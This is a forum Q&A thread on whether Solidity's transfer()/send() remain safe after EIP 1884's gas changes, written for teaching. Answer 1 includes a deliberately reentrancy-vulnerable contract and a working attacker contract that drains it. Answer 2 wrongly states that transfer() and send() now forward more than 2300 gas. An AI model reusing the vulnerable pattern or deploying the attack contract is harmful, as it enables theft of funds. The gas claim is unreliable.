Avoid using solidity's transfer()/send()?

Question

I came across this article dated 2019/9 about avoiding using solidity's transfer()/send(). Here is the reasoning from the article:

It looks like EIP 1884 is headed our way in the Istanbul hard fork. This change increases the gas cost of the SLOAD operation and therefore breaks some existing smart contracts.

Those contracts will break because their fallback functions used to consume less than 2300 gas, and they’ll now consume more. Why is 2300 gas significant? It’s the amount of gas a contract’s fallback function receives if it’s called via Solidity’s transfer() or send() methods. 1

Since its introduction, transfer() has typically been recommended by the security community because it helps guard against reentrancy attacks. This guidance made sense under the assumption that gas costs wouldn’t change, but that assumption turned out to be incorrect. We now recommend that transfer() and send() be avoided.

In remix, there is a warning message about the code below:

  (bool success, ) = recipient.call{value:_amount, gas: _gas}("");

Warning:

Low level calls: Use of "call": should be avoided whenever possible. It can lead to unexpected behavior if return value is not handled properly. Please use Direct Calls via specifying the called contract's interface. more

I am not an expert on gas cost over execution of smart contract and security. So I post this article and would appreciate thoughts and comments about it.

Answer 1

First, it's good to know about the fallback function in Solidity: It has no name, no arguments, no return value, and it can be defined as one per contract, but the most important feature is it is called when a non-existent function is called on the contract such as to send or transfer or call.value()(""). So if you want to send Ether directly to an address which is a contract address, the fallback function of the destination contract will be called. If the contract's fallback function not marked payable, it will throw an exception if the contract receives plain ether without data.

Now let's look at the reentrancy attack

contract VulnerableContract {
    mapping(address => uint) public balances;
     
    function deposit() public payable {
        require(msg.value > 1);
        balances[msg.sender] += msg.value;
    }
     
    function withdraw(uint _amount) public {
        require(balances[msg.sender] >= _amount, "Not enough balance!");
        msg.sender.call.value(_amount)("");
        balances[msg.sender] -= _amount;
    }
     
    function getBalance() view public returns(uint) {
        return address(this).balance;
    }
     
    fallback() payable external {}
}

VuinerableContract has a withdraw function which sends Ether to the calling address. Now the calling address could be a malicious contract such as this :

 
contract MaliciousContract {
    VulnerableContract vulnerableContract = VulnerableContract(0x08970FEd061E7747CD9a38d680A601510CB659FB);
     
    function deposit() public payable {
        vulnerableContract.deposit.value(msg.value)();
    }
     
    function withdraw() public {
        vulnerableContract.withdraw(1 ether);
    }
     
    function getBalance() view public returns(uint) {
        return address(this).balance;
    }
     
    fallback () payable external {
        if(address(vulnerableContract).balance > 1 ether) {
            vulnerableContract.withdraw(1 ether);
        }
    }
}

When the malicious contract call the withdraw function, before reducing the balance of the malicious contract, it's fallback function will be called at it can steal more Ether from the vulnerable contract.

So by limiting the gas amount used by the fallback function up to 2300 gas we could prevent this attack. It means we can not put complex and expensive commands in the fallback function anymore.

Look at this for more information: https://swcregistry.io/docs/SWC-107

Answer 2

From Consensys article, they are saying use .call() instead of .transfer() and .send(). Only argument is that all three now sends more gas than 2300. Thus making it possible for reentrancy.

This comes to another conclusion that, regardless of all above, it is important to use checks-effects-interactions pattern to prevent reentracy attack.